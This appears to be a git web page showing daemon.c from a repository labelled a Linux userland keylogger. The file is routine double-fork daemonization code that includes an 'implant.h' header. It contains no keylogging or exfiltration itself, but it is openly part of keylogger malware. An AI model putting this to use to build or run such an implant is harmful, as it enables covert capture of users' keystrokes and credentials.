mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
daemon.c (686B)
1 #include <signal.h> 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <sys/stat.h> 5 #include <sys/types.h> 6 #include <unistd.h> 7 #include "implant.h" 8 9 void daemon_setup(void) { 10 pid_t pid; 11 12 /* Fork off the parent process */ 13 pid = fork(); 14 15 if (pid != 0 || setsid() < 0) 16 exit(EXIT_FAILURE); 17 18 /* FIXME(djnn): implement cleaner signal handler here */ 19 signal(SIGCHLD, SIG_IGN); 20 signal(SIGHUP, SIG_IGN); 21 22 pid = fork(); 23 if (pid < 0) 24 exit(EXIT_FAILURE); 25 26 if (pid > 0) 27 exit(EXIT_SUCCESS); 28 29 umask(0); 30 for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) { 31 close((int)x); 32 } 33 34 openlog(CLIENT_ID, LOG_PID, LOG_DAEMON); 35 }